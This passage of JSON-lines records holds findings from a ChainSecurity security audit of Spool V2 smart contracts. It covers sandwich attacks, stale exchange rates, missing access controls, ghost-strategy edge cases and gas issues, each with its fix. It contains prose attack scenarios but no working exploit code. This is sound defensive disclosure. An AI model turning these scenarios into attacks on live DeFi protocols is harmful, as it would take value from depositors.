would, in turn, decrease the number of shares all deposits in this DHW cycle\nreceive, shifting some of this value to the existing depositors.\n\nAll in all, an attacker must hold a large position on the strategy, identify a DHW that contains a large\ndeposit to the strategy and then sandwich attack it with a large amount of tokens. The attack is therefore\nrather unlikely but has a critical impact.\n\nCode corrected:\n\nThe Curve and Convex strategies now contain additional slippage checks for the given Curve pool's\ntoken balances (and also the Metapool's balances in the case of ConvexAlusdStrategy) in\nbeforeDepositCheck. As this function is always called in doHardWork, the aforementioned sandwich\nattack can effectively be mitigated by correctly set slippages. It is worth noting that these slippages can\nbe set loosely (to prevent the transaction from failing) as some less extreme fluctuations cannot be\nexploited due to the functionality of the underlying Curve 3pool.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.10 Deposits to Vault With Only Ghost Strategies","body":"Possible\n\n```\nCorrectness Medium Version 1 Code Corrected\nCS-SpoolV2-009\n```\nGovernance can remove strategies from vaults. It happens by replacing the strategy with the ghost\nstrategy. However, if an SV has only ghost strategies, deposits to it are still possible (checking the\ndeposit ratio always works since the ideal deposit ratio is 0 or due to the \"one-token\" mechanics).\nHowever, flushing would revert. User funds could unnecessarily be lost. Similarly, redemptions would be\npossible. Additionally, synchronization could occur if the ghost strategy is registered (which should not be\nthe case).\n\n\nCode corrected:\n\nThe case was disallowed by making a call to the newly implemented function _nonGhostVault, which\nalso gets called when redeeming and flushing. Hence, depositing to, redeeming and flushing from a\nghost vault is disabled.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.11 Ghost Strategy Disables Functionality","body":"```\nCorrectness Medium Version 1 Code Corrected\nCS-SpoolV2-010\n```\nGovernance can remove strategies from SVs by replacing them with the ghost strategy. This may break\nredeemFast() on SVs due to StrategyRegistry.redeemFast() trying to call redeemFast() on\nthe ghost strategy.\n\nCode corrected:\n\nThe iteration is skipped in case the current strategy is the ghost strategy. Hence, the function is not called\non the ghost strategy anymore.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.12 Inconsistent Compound Strategy Value","body":"```\nCorrectness Medium Version 1 Code Corrected\nCS-SpoolV2-011\n```\nCompoundV2Strategy calculates the yield of the last DHW epoch with exchangeRateCurrent()\nwhich returns the supply index up until the current block:\n\n```\nuint256 exchangeRateCurrent = cToken.exchangeRateCurrent();\n```\n```\nbaseYieldPercentage = _calculateYieldPercentage(_lastExchangeRate, exchangeRateCurrent);\n_lastExchangeRate = exchangeRateCurrent;\n```\nOn the other hand, _getUsdWorth() calculates the value of the whole strategy based on the output of\n_getcTokenValue() which in turn calls Compound's exchangeRateStored():\n\n```\nif (cTokenAmount == 0) {\nreturn 0;\n}\n```\n```\n// NOTE: can be outdated if noone interacts with the compound protocol for a longer period\nreturn (cToken.exchangeRateStored() * cTokenAmount) / MANTISSA;\n```\nThis behavior has been acknowledged with a comment in the code. However, it can become problematic\nin the following scenario:\n\n- The compound protocol did not have interaction over a longer period.\n- A user has deposited into a SmartVault that contains the CompoundV2Strategy.\n- In the doHardWork() call, the strategy's _compound function does not deposit to the protocol (i.e.\n the index is not updated in Compound). This can happen in the following cases:\n - No COMP rewards have been accrued since the last DHW.\n - The ROLE_DO_HARD_WORKER role has not supplied a SwapInfo to the strategy's\n _compound function.\n\n\nIn this case, the following line in Strategy.doHardWork() relies on outdated data:\n\n```\nusdWorth[0] = _getUsdWorth(dhwParams.exchangeRates, dhwParams.priceFeedManager);\n```\nusdWorth[0] is then used to determine the number of shares minted for the depositors of this DHW\nepoch:\n\n```\nmintedShares = usdWorthDeposited * totalSupply() / usdWorth[0];\n```\nSince some interest is missing from this value, the depositors receive more shares than they are eligible\nfor, giving them instant gain.\n\nCode corrected:\n\n_getcTokenValue() now retrieves the current exchange rate instead of the stale one.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.13 Strategy Value Manipulation","body":"```\nSecurity Medium Version 1 Code Corrected\nCS-SpoolV2-043\n```\nSmartVaultManager.redeemFast() allows users to directly redeem their holdings on the underlying\nprotocols of the strategies in a vault. The function calls to Strategy.redeemFast() in which the\ntotalUsdValue of the respective strategy is updated.\n\nThis value can be manipulated in several ways:\n\n- If the given Chainlink oracle for one of the assets is not returning a correct value, the user can\n provide exchangeRateSlippages that would allow these false exchange rates to be used.\n- If the strategy's correct value calculation depends on slippage values to be non-manipulatable, the\n strategy's value can be changed with a sandwich attack as there is no possibility to enforce correct\n behavior (see, for example, Curve LP token value calculation can be manipulated). Furthermore, this\n sandwich attack is particularly easy to perform as the user is in control of the call that has to be\n sandwiched (i.e., all calls can be performed in one transaction).\n\nA manipulated strategy value is problematic for SmartVaultManager.reallocate() because the\ntotalUsdValue is used to compute how much value is moved/matched between strategies.\n\nNote: This issue was disclosed by the Spool team during the review process of this report.\n\nCode corrected:\n\nreallocate() now computes the value of strategies directly, rather than relying on totalUsdValue\n(which is now completely removed from the codebase),","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.14 Distribution to Ghost Strategy","body":"```\nCorrectness Low Version 4 Code Corrected\nCS-SpoolV2-040\n```\nDepositManager._distributeDepositSingleAsset assigns all dust to the first strategy in the\ngiven array. There are no checks present to ensure that this strategy is not the Ghost strategy.\n\n\nCode corrected:\n\nThe code has been adjusted to add dust to the first strategy with a deposit.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.15 Lack of Access Control for Setting Extra","body":"Rewards\n\n```\nCorrectness Low Version 3 Code Corrected\nCS-SpoolV2-041\n```\nsetExtraRewards() has no access control. However, an attacker could set the extra rewards to false\nfor a long time. Then, after their SV's first deposit to the strategy, could set it to true, so that they receive\nmore compounded yield than they should have received.\n\nCode corrected:\n\nThe code has been corrected.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.16 Wrong Error","body":"IdleStrategy.beforeRedeemalCheck()\n\n```\nCorrectness Low Version 3 Code Corrected\nCS-SpoolV2-028\n```\nThe range-check in IdleStrategy.beforeRedeemalCheck() reverts with the\nIdleBeforeDepositCheckFailed error. However, IdleBeforeRedeemalCheckFailed would be\nthe suiting error.\n\nCode corrected:\n\nThe correct error is used.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.17 Access Control Not Central to Access","body":"Control Contract\n\n```\nCorrectness Low Version 1 Specification Changed\nCS-SpoolV2-012\n```\nThe specification defines that access control should be centralized in SpoolAccessControl:\n\n```\nAll access control is handled centrally via SpoolAccessControl.sol.\n```\nHowever, the factory as an UpgradeableBeacon implements access control for changing\nimplementation which does not use the central access control contract.\n\n\nSpecification changed:\n\nThe documentation has been clarified:\n\n```\nAccess control is managed on three separate levels:\n```\n- All privileged access pertaining to usage of the platform is handled\nthrough SpoolAccessControl.sol, which is based on OpenZeppelin’s\nAccessControl smart contract\n- Core smart contracts upgradeability is controlled through\nOpenZeppelin’s ProxyAdmin.sol\n- SmartVault upgradeability is controlled using OpenZeppelin’s\nUpgradeableBeacon smart contract\n\nHence, the access control for upgrading the beacons is now accordingly documented.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.18 Asset Decimal in Price Feed","body":"```\nDesign Low Version 1 Code Corrected\nCS-SpoolV2-013\n```\nThe asset decimals are given as an input parameter in setAsset(). Although being cheaper than\ndirectly querying ERC20.decimals(), it is more prone to errors. Fetching the asset decimals through\nthe ERC20 interface could reduce such risks.\n\nCode corrected:\n\nERC20.decimals() is now called to fetch the underlying asset decimals.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.19 Bad Event Emissions","body":"```\nCorrectness Low Version 1 Code Corrected\nCS-SpoolV2-014\n```\nIn StrategyRegistry.redeemFast(), the StrategySharesFastRedeemed() is emitted. The\nassetsWithdrawn parameter of the event will be set to withdrawnAssets on every loop iteration.\nHowever, that does not correspond to the assets withdrawn from a strategy but corresponds to the\nassets withdrawn up to the strategy i.\n\nCode corrected:\n\nThe event takes now strategyWithdrawnAssets as a parameter.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.20 Broken Conditions on Whether Deposits","body":"Have Occurred\n\n```\nCorrectness Low Version 1 Code Corrected\nCS-SpoolV2-015\n```\n\nIn DepositManager.flushSmartVault(), the condition\n_vaultDeposits[smartVault][flushIndex][0] == 0 checks whether at least one wei of the\nfirst token in the asset group has been deposited. However, the condition may be imprecise as it could\ntechnically be possible to create deposits such that the deposit of the first asset could be zero while the\nothers are non-zero. A similar check is present in DepositManager.syncDepositsSimulate()\nduring deposit synchronization.\n\nNote that this would lead to deposits not being flushed and synchronized (ultimately ignoring them).\nWhile the user will receive no SVTs for very small deposits in general, the deposits here would be\ncompletely ignored. Further, this behavior becomes more problematic for rather large asset groups\n(given the checkDepositRatio() definition).\n\nCode corrected:\n\nThe checks have been improved to consider the summation of\n_vaultDeposits[smartVault][flushIndex] to all assets rather than only considering the first\nasset in the group.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.21 Deposit Deviation Can Be Higher Than","body":"Expected\n\n```\nDesign Low Version 1 Code Corrected\nCS-SpoolV2-016\n```\nThe deviation of deposits could be higher than expected due to the potentially exponential dropping\nrelation between the first and last assets. Note that the maximum deviation is the one from the minimum\nideal-to-deposit ratio to the maximum ideal-to-deposit ratio. Ultimately, given the current implementation,\nthis maximum deviation could be violated.\n\nCode corrected:\n\nThe following mechanism has been implemented. First, a reference asset is found with an ideal weight\nnon-zero (first one found). Then, other assets are compared to that asset. Ultimately, each ratio is in the\nrange of the reference asset.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.22 Inconsistent Handling of Funds on Strategy","body":"Removal\n\n```\nDesign Low Version 1 Code Corrected\nCS-SpoolV2-018\n```\nWhen a strategy is removed from the strategy registry, the unclaimed assets by SVs are sent to the\nemergency wallet. However, the funds flushed and unflushed underlying tokens are not (similarly the\nminted shares are not).\n\nCode corrected:\n\n\nConsistency was reevaluated. The corner case of an SV with non-flushed deposited assets was handled\nby introducing a recovery function, namely DepositManager.recoverPendingDeposits(). The\nother cases were specified as intended.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.23 Misleading Constant Name","body":"```\nDesign Low Version 1 Code Corrected\nCS-SpoolV2-019\n```\nIn SfrxEthHoldingStrategy the constant CURVE_ETH_POOL_SFRXETH_INDEX is used to determine\nthe coin ID in an ETH/frxETH Curve pool. Since the pool trades frxETH instead of sfrxETH, the naming of\nthe constant is misleading.\n\nCode corrected:\n\nSpool has changed CURVE_ETH_POOL_SFRXETH_INDEX to CURVE_ETH_POOL_FRXETH_INDEX.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.24 Missing Access Control in Swapper","body":"```\nSecurity Low Version 1 Code Corrected\nCS-SpoolV2-020\n```\nThe Swapper.swap() function can be called by anyone. If a user accidentally sends funds to the\nswapper or if it was called with a misconfigured SwapInfo struct, the remaining funds can be sent to an\narbitrary address by anyone.\n\nCode corrected:\n\nSpool has introduced a new function _isAllowedToSwap, which checks if the caller to\nSwapper.swap() holds ROLE_STRATEGY or ROLE_SWAPPER role. ROLE_SWAPPER must now\nadditionally be assigned to the DepositSwap contract.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.25 Missing Event Fields","body":"```\nDesign Low Version 1 Code Corrected\nCS-SpoolV2-021\n```\nThe events PoolRootAdded and PoolRootUpdated of IRewardPool do not include added root (and\nprevious root in the case of PoolRootUpdated).\n\nCode corrected:\n\nThe code has been adapted to include the added root.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.26 No Sanity Checks on Slippage Type","body":"```\nCorrectness Low Version 1 Code Corrected\nCS-SpoolV2-022\n```\n\nSome functions do not verify the value in slippages[0]. Some examples are:\n\n```\n1.IdleStrategy._emergencyWithdrawImpl does not check if slippages[0] == 3.\n2.IdleStrategy._compound does not check if slippages[0] < 2.\n```\nCode corrected:\n\nAll relevant functions now check that slippages[0] has the expected value and revert otherwise.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.27 Precision Loss in Notional Finance Strategy","body":"```\nCorrectness Low Version 1 Code Corrected\nCS-SpoolV2-023\n```\nNotionalFinanceStrategy._getNTokenValue() calculates the value of the strategy's nToken\nbalance in the following way:\n\n```\n(nTokenAmount * uint256(nToken.getPresentValueUnderlyingDenominated()) / nToken.totalSupply())\n* underlyingDecimalsMultiplier / NTOKEN_DECIMALS_MULTIPLIER;\n```\nnToken.getPresentValueUnderlyingDenominated() returns values similar or notably smaller\nthan nToken.totalSupply. On smaller amounts of nToken balances, precision is lost in this\ncalculation.\n\nCode corrected:\n\nThe implementation of _getNTokenValue() has been changed to the following:\n\n```\n(nTokenAmount * uint256(nToken.getPresentValueUnderlyingDenominated()) * _underlyingDecimalsMultiplier)\n/ nToken.totalSupply() / NTOKEN_DECIMALS_MULTIPLIER;\n```\nAll divisions are now performed after multiplications, ensuring that precision loss is kept to a minimum.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.28 Redemption Executor","body":"```\nCorrectness Low Version 1 Code Corrected\nCS-SpoolV2-025\n```\nRedemptions will enter WithdrawalManager._validateRedeem() that will run Withdrawal guards\nwith the redeemer as the executor. However, when called through\nSmartVaultManager.redeemFor() the actual executor is a user with\nROLE_SMART_VAULT_ALLOw_REDEEM. This address is neither sent through RedeemBag nor\nRedeemExtras. In this case, WithdrawalManager._validateRedeem() runs the guards with the\nexecutor being set as the redeemer.\n\nCode corrected:\n\nThe executor is now more accurately handled.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.29 State Inconsistencies Possible","body":"```\nCorrectness Low Version 1 Code Corrected\nCS-SpoolV2-042\n```\nSmartVaultManager.redeemFast() allows users to redeem their holdings directly from underlying\nprotocols. In contrast to StrategyRegistry.doHardWork(), users can set the slippages for\nwithdrawals themselves which could potentially lead to users setting slippages that do not benefit them.\n\nThis is problematic because the amount of shares actually redeemed in the underlying protocol is not\naccounted for. Since some protocols redeem on a best-effort basis, fewer shares may be redeemed than\nrequested (this is, for example, the case in the YearnV2Strategy). If this happens, and the user sets\nwrong slippages, the protocol burns all SVTs the user requested but does not redeem all the respective\nshares of the underlying protocol leading to an inconsistency that unexpectedly increases the value of the\nremaining SVTs.\n\nCode corrected:\n\nThe code for the Yearn V2 strategy has been adapted to check for full redeemals.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.30 Unused Functions","body":"```\nDesign Low Version 1 Code Corrected\nCS-SpoolV2-026\n```\nThe following functions of MasterWallet are not used:\n\n```\n1.approve\n```\n```\n2.resetApprove\n```\nCode corrected:\n\nThese functions have been removed.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.31 Unused Variable","body":"```\nDesign Low Version 1 Code Corrected\nCS-SpoolV2-044\n1.DepositSwap.swapAndDeposit() takes an input array of SwapInfo, which contains\namountIn. This function however takes an input array of inAmounts.\n```\n```\n2.The mapping DepositManager._flushShares is defined as internal and its subfield\nflushSvtSupply is never read.\n3.WithdrawalManager._priceFeedManager is set but never used.\n```\nCode corrected:\n\nThe code has been adapted to remove the unused variables.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.32 Validation of Specification","body":"```\nDesign Low Version 1 Code Corrected\nCS-SpoolV2-027\n```\nThe specification of an SV is validated to ensure that the SV works as the deployer would expect it.\nHowever, some checks could be missing. Examples of such potentially missing checks are:\n\n```\n1.Request type validation for actions: Only allow valid request types for action (some request types\nare not used for some actions).\n2.If static allocations are used, specifying a risk provider, a risk tolerance or an allocation provider\nmay not be meaningful as they are not stored. Similarly, if only one strategy is used it could be\nmeaningful to enforce a static allocation.\n3.Static allocations do not enforce the 100% rule that the allocation providers enforce. For\nconsistency, such a property could be enforced.\n```\nCode corrected:\n\nThe code has been adapted to enforce stronger properties on the specification.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.33 Distinct Array Lengths","body":"```\nInformational Version 1 Code Corrected\nCS-SpoolV2-029\n```\nSome arrays that are iterated over jointly can have distinct lengths which lead to potentially unused\nvalues and a result different from what was expected due to human error or a revert.\n\nExamples of a lack of array length checks in the specification when deploying an SV through the factory\nare:\n\n```\n1.actions and actionRequestTypes in ActionManager.setActions() may have distinct\nlength. Some request-type values may remain unused.\n2.Similarly, this holds for guards.\n```\n```\n3.In the strategy registry's doHardWork(), the base yields array could be longer than the strategies\narray.\n4.In assetToUsdCustomPriceBulk() the array lengths could differ. When used internally, that will\nnot be the case while when used externally that could be the case. The semantics of this are\nunclear.\n```\n```\n5.calculateDepositRatio() and calculateFlushFactors() in DepositManager are\nsimilar to 4.\n```\nCode corrected:\n\nThe missing checks in 1-3 have been added. However, for 4-5 which are view functions, Spool decided\nto keep as is.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.34 Errors in NatSpec","severity":"info","body":"Informational Version 1 Specification Changed\n\n\n```\nCS-SpoolV2-030\n```\nAt several locations, the NatSpec is incomplete or missing. The following is an incomplete list of\nexamples:\n\n```\n1.IGuardManager.RequestContext: not all members of the struct are documented.\n2.IGuardManager.GuardParamType: not all items of the enum are documented.\n3._stateAtDhw has no NatSpec.\n```\n```\n4.IDepositManager.SimulateDepositParams: documentation line of bag mentions\noldTotalSVTs along with flush index and lastDhwSyncedTimestamp.\n5.StrategyRegistry._dhwAssetRatios: is a mapping to the asset ratios, as the name\nsuggests; however, the spec mentions exchange rate.\n6.StrategyRegistry._updateDhwYieldAndApy(): it only updates APY and not the yield for a\ngiven dhwIndex and strategy.\n7.RewardManager.addToken(): callable only by either DEFAULT_ADMIN_ROLE or\nROLE_SMART_VAULT_ADMIN of an SV and not \"reward distributor\" as mentioned in the\nspecification.\n```\nSpecification changed:\n\nThe NatSpec was improved. Naming of StrategyRegistry._updateDhwYieldAndApy() was\nchanged to _updateApy().","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.35 Gas Optimizations","body":"```\nInformational Version 1 Code Corrected\nCS-SpoolV2-031\n```\nSome parts of the code could be optimized in terms of gas usage. Reducing gas costs may improve user\nexperience. Below is an incomplete list of potential gas inefficiencies:\n\n```\n1.claimSmartVaultTokens() could early quit if the claimed NFT IDs are claimed. Especially, that\nmay be relevant in cases in the redeem functions where a user can specify W-NFTs to be\nwithdrawn.\n2.The FlushShares struct has a member flushSvtSupply that is written when an SV is flushed.\nHowever, that value is never used and hence the storage write could be removed to reduce gas\nconsumption.\n```\n```\n3.swapAndDeposit() queries the token out amounts with balanceOf(). Swapper.swap()\nreturns the amounts. However, the return value is unused.\n4.RewardManager() inherits from ReentrancyGuardUpgradeable. It further is initializable,\ninitializing only the reentrancy guard state. However, reentrancy locks are not used.\n5.The constructor of SmartVaultFactory checks whether the implementation is 0x0. However, in\nUpgradeableBeacon an isContract() check is made.\n6.In redeemFast() the length of the NFT IDs and amounts is ensured to be equal. However, in\nDepositManager.claimSmartVaultTokens() the same check is made.\n7.In the internal function SmartVaultManager._redeem(), the public method\nflushSmartVault() is used. The _onlyRegisteredSmartVault() check will be performed\ntwice.\n8.IStrategy.doHardwork() could return the assetRatio() with the DHW info so that a\nstaticcall to IStrategy.assetRatio() in StrategyRegistry.doHardwork() is not needed.\n```\n\n```\n9.In _validateRedeem() the balance of the redeemer is checked. However, that check is made\nwhen the SVTs are transferred to the SV.\n10.The input argument vaultName_ in SmartVault.initialize can be defined as calldata.\n11.SmartVault.transferFromSpender() gets called only by WithdrawalManager with\nspender equal to from.\n```\n```\n12.SmartVault.burnNFT() checks that the owner has enough balance to burn. The same condition\nis later checked as it calls into _burnBatch.\n13.The struct SmartVaultSpecification in SmartVaultFactory has an inefficient ordering of\nelements. For example, by moving allowRedeemFor below allocationProvider its storage\nlayout decreases by one slot.\n```\n```\n14.The struct IGuardManager.GuardDefinition shows an inefficient ordering.\n15.Where ReallocationLib.doReallocation() computes sharesToRedeem, it can replace\ntotals[0] - totals[1] with totalUnmatchedWithdrawals.\n16.SmartVaultManager._simulateSync() increments the memory variable\nflushIndex.toSync which is neither used later nor returned as a return value.\n```\n```\n17.SmartVaultManager._redeem() calls flushSmartVault. However, the internal function\n_flushSmartVault could directly be called.\n18.SmartVaultManager._redeem() accesses the storage variable\n_flushIndexes[bag.smartVault] twice. It could be cached and reused once.\n19.StrategyRegistry.doHardWork() reads _assetsDeposited[strategy][dhwIndex][k]\ntwice. Similar to the issue above, it could be cached.\n20.UsdPriceFeedManager.assetToUsdCustomPriceBulk() could be defined as external.\n21.WithdrawalManager.claimWithdrawal() can be defined as an external function.\n22.RewardManager.forceRemoveReward() eventually removes\nrewardConfiguration[smartVault][token], which is already removed in\n_removeReward().\n23.RewardPool.claim() can simply set\nrewardsClaimed[msg.sender][data[i].smartVault][data[i].token] to\ndata[i].rewardsTotal.\n24.SmartVaultManager._simulateSyncWithBurn() can fetch fees after checking all DHWs\nare completed.\n25.Strategies are calling AssetGroupRegistry.listAssetGroup in multiple functions. The token\naddresses could instead be cached in the strategy the avoid additional external calls.\n26.REthHoldingStrategy._emergencyWithdrawImpl() reverts if slippages[0] != 3. This\ncheck can be accomplished at the very beginning of the function.\n```\n```\n27.REthHoldingStrategy._depositInternal() can have an early return if\namounts[0] < 0.01 ETH. It is mentioned in its documentations, that the smallest deposit value\nshould be 0.01 ETH\n28.The input parameter strategyName_ of SfrxEthHoldingStrategy.initialize() can be\ndefined as calldata.\n```\n```\n29.Strategy calls _swapAssets and then loads the balances of each token again. Since\n_swapAssets is not used in all of the strategies, the subsequent balanceOf calls by checking if\n_swapAssets actually performed any actions.\n```\nCode corrected:\n\n\nWhile not every improvement has been implemented, gas consumption has been reduced.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit-2.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/07/ChainSecurity_Spool_Spool_V2_audit-2.pdf"}} +{"title":"6.36 NFT IDs","body":"```\nInformational Version 1 Code Corrected\nCS-SpoolV2-032\n```\nThe NFT IDs are in the following ranges:\n\n- D-NFTs: [1, 2**255 - 2]\n- W-NFTs: [2**255 + 1, 2**256 - 2]\n\nNote that the ranges could be technically increased. Further, in theory, there could be many more\nwithdrawals than deposits. The sizes do not reflect that. However, in practice, a scenario with such a\nlarge number of redemptions does not seen to be realistic. Additionally, getMetaData() will return\ndeposit meta data for ID 0 and 2**255 - 1. However, these are not valid deposit NFT IDs. Similarly,\nthe function returns metadata for invalid withdrawal NFTs. However, these remain empty. Last,\ntechnically one could input such IDs for burn (using 0 shares burn). Similarly, one could burn others'\nNFTs (0 amounts).\n\nUltimately, the effects of this may create confusion.\n\nCode corrected:\n\nThe range of valid NFT-IDs has been 